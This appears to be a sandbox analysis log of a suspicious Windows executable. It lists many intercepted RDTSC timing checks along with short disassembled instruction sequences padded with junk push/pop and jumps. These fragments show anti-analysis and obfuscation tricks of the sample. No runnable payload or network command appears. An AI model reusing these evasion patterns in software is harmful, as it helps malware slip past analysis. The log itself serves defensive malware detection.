Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EE9202 second address: 0000000000EE9250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jmp 00007FEBE0B1C469h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e jnp 00007FEBE0B1C461h 0x00000014 jmp 00007FEBE0B1C45Bh 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007FEBE0B1C464h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EE99BD second address: 0000000000EE99DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007FEBE0E5FDC8h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EE99DF second address: 0000000000EE99E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EE9DB1 second address: 0000000000EE9DB8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EEA061 second address: 0000000000EEA072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FEBE0B1C45Ch 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EEA214 second address: 0000000000EEA21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EEA21D second address: 0000000000EEA253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C460h 0x00000007 je 00007FEBE0B1C458h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jc 00007FEBE0B1C474h 0x00000017 jmp 00007FEBE0B1C45Ah 0x0000001c push eax 0x0000001d push edx 0x0000001e jng 00007FEBE0B1C456h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EEA253 second address: 0000000000EEA257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EEA3D3 second address: 0000000000EEA40B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FEBE0B1C458h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEBE0B1C463h 0x00000015 jmp 00007FEBE0B1C465h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EEA40B second address: 0000000000EEA40F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EF73A5 second address: 0000000000EF73CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0B1C466h 0x00000009 popad 0x0000000a je 00007FEBE0B1C45Eh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EF7540 second address: 0000000000EF7546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EF7546 second address: 0000000000EF7551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EF7551 second address: 0000000000EF7557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EFEFB3 second address: 0000000000EFEFC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FEBE0B1C456h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EFEFC6 second address: 0000000000EFEFCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EFEFCA second address: 0000000000EFEFE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEBE0B1C464h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EFEFE4 second address: 0000000000EFEFEE instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEBE0E5FDC2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EFEFEE second address: 0000000000EFEFF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F03871 second address: 0000000000F0387C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0387C second address: 0000000000F03880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F03880 second address: 0000000000F03886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F03886 second address: 0000000000F03891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F065D8 second address: 0000000000F065E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F065E0 second address: 0000000000F065E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F065E4 second address: 0000000000F065E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F065E8 second address: 0000000000F065EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F065EE second address: 0000000000F065F8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEBE0E5FDBEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F065F8 second address: 0000000000F0660E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0660E second address: 0000000000F06616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0E778 second address: 0000000000F0E787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FEBE0B1C456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0E787 second address: 0000000000F0E78F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0E78F second address: 0000000000F0E79A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0E79A second address: 0000000000F0E7AA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEBE0E5FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0E7AA second address: 0000000000F0E7BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FEBE0B1C45Ch 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D088 second address: 0000000000F0D08D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D214 second address: 0000000000F0D23B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEBE0B1C456h 0x00000008 jmp 00007FEBE0B1C469h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D23B second address: 0000000000F0D23F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D23F second address: 0000000000F0D24D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D24D second address: 0000000000F0D25A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FEBE0E5FDB6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D38E second address: 0000000000F0D3A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C463h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D3A5 second address: 0000000000F0D3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D3AE second address: 0000000000F0D3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D3B4 second address: 0000000000F0D3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D3BA second address: 0000000000F0D3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D3BF second address: 0000000000F0D3C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F0D3C5 second address: 0000000000F0D3CE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F11579 second address: 0000000000F11589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FEBE0E5FDB6h 0x0000000a ja 00007FEBE0E5FDB6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F11589 second address: 0000000000F115AC instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEBE0B1C465h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F115AC second address: 0000000000F115B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F115B0 second address: 0000000000F115BF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F11419 second address: 0000000000F1141E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F1141E second address: 0000000000F1142C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEBE0B1C458h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F1142C second address: 0000000000F11449 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007FEBE0E5FDC0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F11449 second address: 0000000000F1144E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F14EB3 second address: 0000000000F14EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2B81C second address: 0000000000F2B820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2FBDC second address: 0000000000F2FBE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F5D4 second address: 0000000000F2F606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FEBE0B1C469h 0x0000000d je 00007FEBE0B1C456h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007FEBE0B1C456h 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F606 second address: 0000000000F2F60A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F60A second address: 0000000000F2F610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F610 second address: 0000000000F2F629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007FEBE0E5FDBCh 0x0000000f push eax 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F629 second address: 0000000000F2F642 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEBE0B1C45Ah 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jnc 00007FEBE0B1C456h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F788 second address: 0000000000F2F7B0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e pushad 0x0000000f jmp 00007FEBE0E5FDC7h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F7B0 second address: 0000000000F2F7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEBE0B1C468h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F0FF second address: 0000000000F2F10A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 push esi 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F10A second address: 0000000000F2F10F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F10F second address: 0000000000F2F139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FEBE0E5FDC6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F139 second address: 0000000000F2F13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F13F second address: 0000000000F2F152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDBEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2F152 second address: 0000000000F2F169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEBE0B1C462h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2FA4F second address: 0000000000F2FA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDC8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F2FA6B second address: 0000000000F2FA6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F3C017 second address: 0000000000F3C030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDC0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F3E71A second address: 0000000000F3E76C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEBE0B1C481h 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FEBE0B1C456h 0x00000010 jmp 00007FEBE0B1C467h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F3E8B9 second address: 0000000000F3E8D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 jng 00007FEBE0E5FDB6h 0x0000000e jmp 00007FEBE0E5FDBAh 0x00000013 pop eax 0x00000014 push ecx 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F3E8D6 second address: 0000000000F3E8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F63F4A second address: 0000000000F63F5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F63F5C second address: 0000000000F63F61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F63F61 second address: 0000000000F63F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F642A3 second address: 0000000000F642A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F642A9 second address: 0000000000F642AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F642AD second address: 0000000000F642B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F642B1 second address: 0000000000F642B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F642B7 second address: 0000000000F642DB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 jp 00007FEBE0B1C45Ah 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007FEBE0B1C45Bh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F642DB second address: 0000000000F642E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F64410 second address: 0000000000F64429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Fh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
